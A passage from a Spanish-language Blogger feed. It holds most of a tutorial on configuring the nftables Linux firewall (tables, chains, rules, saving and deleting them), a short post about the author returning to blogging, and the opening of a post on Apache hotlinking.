&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;ip6&lt;/b&gt;: Como su propio nombre indica, tendrá en cuenta los paquetes IPv6.&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;inet&lt;/b&gt;: Una familia híbrida que contemplará ambos protocolos de IP, y que, dependiendo de a lo que hagamos referencia, tendrá en cuenta un tipo de IP u otra, o ambas, Por ejemplo si se hace referencia a una IPv4, se aplicará la regla para los paquetes IPv4, pero si hacemos referencia solamente a un puerto (por ejemplo el 80), sin especificar una IP de origen o de destino, se tendrán en cuenta ambos protocolos. Esta familia no funciona en las cadenas NAT (de esto hablaremos más adelante), al menos de momento, debido al &lt;a href=&quot;http://lists.netfilter.org/pipermail/netfilter-buglog/2017-August/003851.html&quot;&gt;bug 1173&lt;/a&gt;, con lo en caso de querer usar cadenas de dicho tipo para paquetes IPv4 e IPv6, habría que crear 2 tablas separadas, una perteneciente a la familia ip y la otra a ip6.&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;arp&lt;/b&gt;: Esta familia solamente tendrá en cuenta el tráfico ARP.&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;bridge&lt;/b&gt;: Esta familia entraría en acción en las interfaces de tipo bridge, que hayan sido creadas en el sistema.&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;netdev&lt;/b&gt;: Aquí se tratará el paquete antes de que sea procesado por la interfaz de red. No se tiene en cuenta si es IPv4 ni IPv6; desde aquí se ve todo, y es útil para el bloqueo de ataques DOS o DDOS, ya que lo deniega antes de ser procesado, tomándole menos tiempo al sistema el desecharlo.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;span style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;text-align: justify;&quot;&gt;La primera vez que se instala nftables, crea una tabla llamada filter del tipo inet, pero es importante conocer cómo agregar nuevas tablas.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para ello, antes de empezar a hacer nada, es muy recomendable cargar todos sus módulos de nftables en el kernel, ya que en caso contrario nos podremos encontrar errores tales como&amp;nbsp;&lt;i&gt;&#39;Could not process rule: No such file or directory&#39;&lt;/i&gt;. Para ello lo recomendado por los propios desarrolladores del proyecto, es crear el fichero&amp;nbsp;&lt;b&gt;/etc/modules-load.d/modules-nftables.conf&lt;/b&gt;&amp;nbsp;e introducir el siguiente contenido para después reiniciar el equipo:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;pre style=&quot;background: rgb(241, 240, 240); text-align: justify;&quot;&gt;nf_conntrack
nf_conntrack_ipv4
nf_conntrack_ipv6
nf_defrag_ipv4
nf_defrag_ipv6
nf_nat
nf_nat_ipv4
nf_tables
nf_tables_inet
nf_tables_ipv4
nf_tables_ipv6
nfnetlink
nft_counter
nft_ct
nft_hash
nft_limit
nft_log
nft_meta
nft_rbtree
nft_reject
nft_reject_inet
nft_reject_ipv4
nft_reject_ipv6&lt;/pre&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Con todos los preparativos realizados, para crear una nueva tabla escribiremos la siguiente sintaxis:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;i&gt;nft add table &#39;familia&#39; &#39;nombre&#39;&lt;/i&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Por ejemplo, para crear una tabla llamada &quot;filter&quot; que contemple los paquetes IPv4 e IPv6, haremos:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0px; text-align: justify;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;nft add table inet filter&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Con ello ya tendríamos nuestra primera tabla creada, tabla que puede ser borrada o que cuyo contenido puede ser listado o borrado sustituyendo &lt;b&gt;add&lt;/b&gt; por &lt;b&gt;delete, list&amp;nbsp;&lt;/b&gt;y &lt;b&gt;flush&lt;/b&gt;, respectivamente.&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b style=&quot;text-align: justify;&quot;&gt;&lt;u&gt;&lt;span style=&quot;font-size: large;&quot;&gt;CADENAS&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Las cadenas son simples contenedores de reglas. A diferencia de en iptables, que ya había una serie de cadenas predefinidas, tales como INPUT, OUTPUT, en nftables no existe ninguna por defecto, sino que tienen que ser creadas. La creación de cualquier cadena tendría una sintaxis como la siguiente:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;i&gt;nft add chain &#39;familia&#39; &#39;tabla&#39; &#39;nombre_cadena&#39; {type &#39;tipo&#39; hook &#39;estado_del_paquete&#39; priority &#39;prioridad&#39;; policy &#39;politica&#39;;}&amp;nbsp;&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Las familias y las tablas ya las conocemos, con respecto al tipo, tenemos cadenas de tres tipos:&lt;/div&gt;
&lt;ul&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;filter&lt;/b&gt;: Este tipo de cadena se encarga del filtrado de paquetes.&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;route&lt;/b&gt;: Permite rutar los paquetes salientes&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;nat&lt;/b&gt;: Se utiliza para aplicar reglas de nateo de paquetes, es decir, para la conversión de IPs.&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Por otro lado tenemos el estado del paquete, el cual viene &#39;heredado&#39; de su predecesor, iptables, y que dependiendo del tipo que hayamos escogido, se podrá hacer referencia a un estado u otro del paquete. Los estado sería input, output, forward, prerouting y postrouting. Los tres primeros son intuitivos, mientras que prerouting se utilizaría para tratar una interfaz que está a punto de ser rutada&amp;nbsp; y postrouting se utilizaría para tratar la interfaz tras haber sido rutada.&amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Obviamente no todos los tipos se pueden usar en todas las familia al igual que no todos los estados se pueden usar para todos los tipos, con lo que a continuación dejo una pequeña tabla que puede servirnos como guía orientativa que nos puede servir de ayuda en la creación de cadenas:&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCFOUiWeuKI35zQYd2aESdDn_L4q7r7JGPW6pscAO6-QPnFd_FJFWJHFT77KeKPsoGHiqMibZyxxJdT_zdUDSwEqRo48C2fYWipmgX25e2L4MGDBkP8gxxnYw_REXrAn7uHDRnMHiqUc4u/s1600/tabla_cadenas.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;tabla_hooks_nft&quot; border=&quot;0&quot; data-original-height=&quot;148&quot; data-original-width=&quot;514&quot; height=&quot;92&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCFOUiWeuKI35zQYd2aESdDn_L4q7r7JGPW6pscAO6-QPnFd_FJFWJHFT77KeKPsoGHiqMibZyxxJdT_zdUDSwEqRo48C2fYWipmgX25e2L4MGDBkP8gxxnYw_REXrAn7uHDRnMHiqUc4u/s320/tabla_cadenas.PNG&quot; title=&quot;tabla_hooks_nft&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Además, podemos definir la prioridad que tendrá la cadena con respecto al resto de la misma tabla. Aquella que tenga el número más bajo (pudiendo ser negativo), será aquella que se ejecutará antes.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Además podemos también definir, de forma opcional, la política que queremos que tenga la cadena por defecto, de entres las cuales las más comunes serían: &lt;b&gt;accept &lt;/b&gt;o &lt;b&gt;drop&lt;/b&gt;, es decir permitir o denegar. En caso de no definir ninguna política, nftables define automáticamente que la política será accept.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Con toda esta información en mano, podemos crear varias cadenas de prueba. Por ejemplo, siguiendo la lógica del ejemplo inicial, en el que hemos creado una tabla llamada filter, vamos a crear las 3 cadenas de filtrado básicas que ya venían predefinidas en iptables, las cuales se llamaban &lt;b&gt;input&lt;/b&gt;, &lt;b&gt;output &lt;/b&gt;y &lt;b&gt;forward&lt;/b&gt;. Estas cadenas, para este ejemplo, estarán abiertas por defecto, es decir que serán 3 cadenas vacías que no harán nada por defecto; solo existir y que dejarán que las reglas definidas dentro de éstos sean los que dictaminen los comportamientos:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para crear la cadena llamada input, que se encargará de contener las reglas de los paquetes entrantes, haremos:&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;nft add chain inet filter input { type filter hook input priority 0\; policy accept\; }&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para las cadenas output y forward haríamos lo equivalente:&lt;/div&gt;
&lt;br /&gt;
Output:&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;nft add chain inet filter output { type filter hook output priority 0\; policy accept\; }&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Forward:&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;nft add chain inet filter forward { type filter hook forward priority 0\; policy accept\; }&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b style=&quot;text-align: justify;&quot;&gt;&lt;u&gt;&lt;span style=&quot;font-size: large;&quot;&gt;REGLAS&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Finalmente con todos estos preparativos creados, podemos empezar a crear nuestras reglas. Dichas reglas siempre tendrán que ir dentro de una cadena perteneciente a una tabla; de ahí todos los preparativos realizados hasta ahora.&amp;nbsp; Dichas reglas, pueden parecer algo abrumadoras al principio por las gran cantidad de posibilidades que ofrecen, pero a su favor hay que decir que son bastante intuitivas. La creación de reglas sigue esta sintaxis&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;i&gt;nft add rule &#39;familia&#39; &#39;tabla&#39; &#39;cadena&#39; &#39;expresión&#39;&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Inicialmente todo estaría claro a excepción de la expresión en sí, que sería lo que definiría la regla. Las expresiones son unas reglas que tienen que coincidir bajo ciertas circunstancias y que tras las cuales se deciden ciertas acciones. Esto dicho así puede parecer lioso, pero al final sería definir la regla, su argumento y la acción que se realizará al respecto... Es mejor empezar con un ejemplo sencillo que definiría la regla más sencilla posible; vamos a crear una regla que impida que puedan acceder al puerto 80. La regla se añadiría tal que así:&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;nft add rule inet filter input tcp dport 80 drop&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
En esta regla estaríamos diciendo que todo el tráfico TCP al puerto 80 sería bloqueado, y como podéis observar la expresión en sí es intuitiva. Existen muchísimas expresiones y reglas, y aquí sería imposible abarcar todas, pero las más comunes serían:&lt;/div&gt;
&lt;br /&gt;
&lt;pre style=&quot;background: rgb(241, 240, 240); text-align: justify;&quot;&gt;oifname &#39;nombre de la interfaz SALIENTE&#39;
iifname &#39;nombre de la interfaz ENTRANTE&#39;

ip protocol &#39;protocolo&#39;
ip daddr &#39;direccion IPv4 de DESTINO&#39;
ip saddr &#39;direccion IPv4 de ORIGEN&#39;

ip6 daddr &#39;direccion IPv6 de DESTINO&#39;
ip6 saddr &#39;direccion IPv6 de ORIGEN&#39;

tcp dport &#39;puerto de DESTINO&#39;
tcp sport &#39;puerto de ORIGEN&#39;

udp dport &#39;puerto de DESTINO&#39;
udp sport &#39;puerto de ORIGEN&#39;

ct state &#39;new &lt;span style=&quot;color: #555555;&quot;&gt;|&lt;/span&gt; established &lt;span style=&quot;color: #555555;&quot;&gt;|&lt;/span&gt; related &lt;span style=&quot;color: #555555;&quot;&gt;|&lt;/span&gt; invalid&#39;
&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Dichas expresiones pueden combinarse entre sí dentro de la misma regla y siempre tienen que terminar con una política; las más comunes son las mencionadas antes: accept y drop. Pero exist&lt;span style=&quot;font-family: inherit;&quot;&gt;en también las políticas&amp;nbsp;&lt;b&gt;queue&lt;/b&gt;, &lt;b&gt;continue&lt;/b&gt; y &lt;b&gt;return&lt;/b&gt;; además de una política especial, la cual solamente se puede usar en las cadenas de tipo nat, llamada &lt;b&gt;masquerade. &lt;/b&gt;Esta última lo que haría sería transformar la IP de origen del tráfico saliente en la IP de dicha interfaz, lo cual es común en las labores de NATeo, pues lo que se hace es transformar una IP en otra.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Usando lo de arriba como referencia podemos hacer combinaciones como estas:&lt;br /&gt;
&lt;br /&gt;
Bloquear todo el trafico al puerto 22 desde el rango de IPs 192.168.1.0/24:&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;nft add rule inet filter input tcp dport 22 ip saddr 192.168.1.0/24 drop&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Bloquear todo el trafico entrante nuevo (ct state new), proveniente del puerto 80. Es decir que nosotros podamos conectarnos a Internet, pero que no se puedan conectar a nuestro puerto 80 desde fuera:&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;nft add rule inet filter input ct state new drop&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Bloquear los pings que accedan por la interfaz con nombre enp0s3:&lt;br /&gt;
&lt;div style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;nft add rule inet filter input iifname enp0s3 ip protocol icmp drop&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Esto solo sería una parte de lo que puede hacer nftables, pero nos sirve para hacernos una idea global de la potencia que nos puede ofrecer esta utilidad.&lt;br /&gt;
&lt;br /&gt;
Para listar todo aquello que hemos creado (las tablas, cadenas y reglas) tenemos el comando:&lt;br /&gt;
&lt;div br=&quot;&quot; gt=&quot;&quot; style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;nft list ruleset&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
El cual nos mostrará nuestra configuración completa; configuración que podemos volcar en el fichero de configuración de nftables con el fin de que sea permanente. Esto se puede hacer a mano o mediante el comando:&lt;br /&gt;
&lt;div br=&quot;&quot; gt=&quot;&quot; style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;nft list ruleset &amp;gt; /etc/nftables.conf&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
En caso de querer eliminar una regla que hayamos creado, es importante saber que, de momento, no es tan sencillo como sustituir nft add por nft delete; desgraciadamente, es necesario ejecutar primero el comando:&lt;br /&gt;
&lt;div br=&quot;&quot; gt=&quot;&quot; style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;nft list ruleset -a&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Allí veremos que al lado de cada tabla y cada regla aparecerá: &lt;b&gt;#handle&lt;/b&gt;, seguido de un número; para eliminar la regla, tendremos que hacer referencia al handle con dicho numero. Si por ejemplo la regla de inet filter tuviese el handle 7, tendríamos que escribir:&lt;br /&gt;
&lt;div br=&quot;&quot; gt=&quot;&quot; style=&quot;background: #202020; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;nft delete rule inet filter input handle 7&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Esto último no es del todo intuitivo y lo ideal sería poder eliminarlo de forma &quot;natural&quot;, pero de momento es posible.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En definitiva, nos encontramos ante una versión más potente e intuitiva que iptables, que si bien ofrece varias ventajas, también posee un par de desventajas. El hecho de tener que conocer el handle de la regla para poder eliminarla, no es del todo afinado, al igual que la incapacidad de poder usar la familia inet para la tabla nat, o que sea necesario crear la tabla nat junto con sus correspondientes cadenas desde cero para hacer un simple &#39;masquerade&#39; del tráfico postrouting.&lt;br /&gt;
&lt;br /&gt;
Aún así es recomendable acostumbrarse a utilizarla, pues Debian 10 ya no usa iptables y en un futuro cercano nos veremos obligados a utilizar este firewall en el resto de distribuciones. Además, seguramente con el paso del tiempo irá puliendo esos pequeños detalles que hacen que esta potente herramienta no sea del todo perfecta.&lt;br /&gt;
&lt;br /&gt;
Espero que os haya resultado útil.&lt;br /&gt;
&lt;br /&gt;
Saludos.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://bytelearning.blogspot.com/feeds/842547917156385195/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://bytelearning.blogspot.com/2019/10/nftables-iptables.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/842547917156385195'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/842547917156385195'/><link rel='alternate' type='text/html' href='https://bytelearning.blogspot.com/2019/10/nftables-iptables.html' title='Nftables, el sucesor de iptables'/><author><name>Ivan Da Silva</name><uri>http://www.blogger.com/profile/13470310234898491916</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiifsU1VxiYQ90YFQTdZtcMjoWM2RVfYgmSiilyBOl7DaaYqMsC0QX34CCFSpzCq6W93Ybb9l7aBtZMv8DszFPNrbMafsg-1udce_rGstb3EbHUGbZkaf4XUBLKb2hJUScwCjongL1Cchj/s72-c/nftables_portada.PNG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-758491715129760469.post-4433231762624704309</id><published>2019-10-01T13:33:00.000+02:00</published><updated>2019-10-01T13:33:41.094+02:00</updated><title type='text'>Vuelta a la &quot;normalidad&quot;</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Tras prácticamente y algo un año sin poder acceder al blog por falta de tiempo, espero poder volver ahora a la normalidad. Tiempo con muchos cambios en mi estilo de vida ha hecho que mi tiempo libre se haya reducido prácticamente a 0, y que si bien ahora no es el mismo que tenía antes de dichos cambios, si que es mayor que el que he tenido hasta ahora. Eso no implica que este tiempo haya estado desconectado del mundo tecnológico: finalmente he obtenido la certificación LPIC-1 (que si bien en mi caso no me ha requerido prepararme demasiado, tenía ganas de obtenerla con el fin de tener un papel que dijese que sé de Linux), he estado leyendo y experimentando, testeando cosas... No tanto como me habría gustado pero algo se ha podido progresar, con lo que espero poder ir plasmando paulatinamente esas cosas que he encontrado interesantes durante dicho tiempo, al igual que también plasmar aquellas cosas que me tope en el futuro.&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
Intentaré publicar a medida que pueda, aunque todo dependerá de la flexibilidad de mi agenda y del tiempo libre que pueda extraer de mis otras obligaciones. De momento os dejo con un pequeño artículo aparte sobre nftables, que espero que os resulte útil.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Sin más preámbulos, nos vamos leyendo.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
¡Hasta el próximo artículo!&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Saludos!&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://bytelearning.blogspot.com/feeds/4433231762624704309/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://bytelearning.blogspot.com/2019/10/vuelta-normalidad.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/4433231762624704309'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/4433231762624704309'/><link rel='alternate' type='text/html' href='https://bytelearning.blogspot.com/2019/10/vuelta-normalidad.html' title='Vuelta a la &quot;normalidad&quot;'/><author><name>Ivan Da Silva</name><uri>http://www.blogger.com/profile/13470310234898491916</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-758491715129760469.post-8439547058960021058</id><published>2018-04-17T23:05:00.002+02:00</published><updated>2019-10-25T12:24:02.924+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Apache2"/><category scheme="http://www.blogger.com/atom/ns#" term="Howto"/><category scheme="http://www.blogger.com/atom/ns#" term="Internet"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Navegador"/><category scheme="http://www.blogger.com/atom/ns#" term="Networking"/><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad"/><category scheme="http://www.blogger.com/atom/ns#" term="Shell"/><title type='text'>Hotlinking; qué es y como evitarlo en Apache 2</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Todos aquellos que tienen un servidor web expuesto al público, saben que al hacerlo dejan dicho servidor expuesto al mundo, y aún con un firewall bien configurado para evitar, en su medida, ciertos ataques, saben que siempre se corre riesgo de que por un motivo u otro, la web deje de estar disponible, su tiempo de respuesta sea lento o que ésta sea vulnerada. Teniendo en cuenta que el objetivo de una web es que &quot;todos&quot; la vean, es harto difícil lograr combinar una seguridad &quot;infranqueable&quot; y disponibilidad, y lo peor de todo es que a veces, acciones insignificantes que no son malintencionadas, pueden afectar al rendimiento de nuestra web... Hoy quiero hablaros de dicho último en especial; concretamente de una acción llamada &lt;b&gt;hotlinking&lt;/b&gt;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4Xbe3wqHm3GnSlj0fIovhzb_HXvUHUk2JP5pQ0lwjcvOMbMU8C28frZ_liP_K_jRe1Dv_UTMPslybc8rlEaNZIfVbXddPoakME9HD4L3ef5REbiL2BAG2jfuKJzuzmIjkiz5Y9T33opbR/s1600/hotlink_portada.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;hotlink_portada&quot; border=&quot;0&quot; data-original-height=&quot;256&quot; data-original-width=&quot;256&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4Xbe3wqHm3GnSlj0fIovhzb_HXvUHUk2JP5pQ0lwjcvOMbMU8C28frZ_liP_K_jRe1Dv_UTMPslybc8rlEaNZIfVbXddPoakME9HD4L3ef5REbiL2BAG2jfuKJzuzmIjkiz5Y9T33opbR/s1600/hotlink_portada.png&quot; title=&quot;hotlink_portada&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
El hotlinking es una acción que si bien en sí no es maligna, puede perjudicar a otros en determinados aspectos, pues se trata de el uso de imágenes de otros servidores en vez de imágenes propias para enriquecer el contenido de una web. A modo de ejemplo, supongamos que queremos añadir una imagen a nuestra web; tenemos dos opciones, o subirla a nuestro servidor, o hacer referencia a la URL de una imagen ya hospedada en otro servidor; la segunda opción se trataría de un hotlink. Esto en sí no es un problema cuando se tratan de pocas imágenes y pocos links... Pero sí que puede ser problemático cuando el número de hotlinks es muy alto; especialmente si las páginas desde las que se reciben los hotlinks son muy visitadas, pues cada vez que dicha imagen es cargada en la otra página, estaría consumiendo ancho de banda de nuestro servidor, ya que la imagen que estarían solicitando estaría alojada en nuestro servidor, con lo que en verdad nos estarían haciendo una solicitud de imagen a nosotros y no a ellos.&lt;/div&gt;
